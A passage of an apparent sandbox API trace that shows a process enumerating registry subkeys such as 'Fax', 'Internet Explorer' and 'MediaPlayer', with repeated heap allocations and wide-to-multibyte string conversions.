| out: lpName="Exchange") returned 0x0 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x90c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.558] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.558] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.558] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.558] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x90b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.558] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.558] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.559] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.559] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x90b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0041.559] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.559] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x90c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0041.559] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.559] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.559] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.559] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.559] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x90b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0041.559] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.559] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0041.559] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.559] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.559] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.559] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.559] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x90b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0041.559] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.559] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x90c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0041.559] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.559] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.559] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.559] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.559] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x90b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0041.559] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.559] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x90c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0041.560] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.560] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x90b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0041.560] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0041.560] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x90c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0041.560] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.560] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x90b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0041.560] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.560] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0041.560] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.560] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x90b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0041.560] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.560] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x90c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0041.560] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.560] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.560] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x90b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0041.560] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.561] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0041.561] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.561] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.561] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.561] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.561] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x90b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0041.561] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.561] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x90c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0041.561] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.561] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.561] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.561] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.561] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x90b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0041.561] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.561] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x90c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0041.561] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.561] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.561] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.561] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.561] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x90b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0041.561] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.561] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x90c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0041.561] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.561] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.561] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.562] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.562] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x90b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x90c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.562] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.562] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.562] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.562] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x90b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x90c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.562] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.562] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.562] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.562] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x90b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x90c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.562] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.562] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.562] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.562] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x90b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x90c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0041.562] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.563] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x90b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0041.563] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.563] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x90c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0041.563] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.563] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x90b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0041.563] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.563] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x90c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0041.563] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.563] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x90b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0041.563] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0041.563] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x90c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0041.563] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.563] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.563] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x90b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0041.563] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0041.564] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x90c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0041.564] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.564] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x90b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0041.564] RtlAllocateHeap 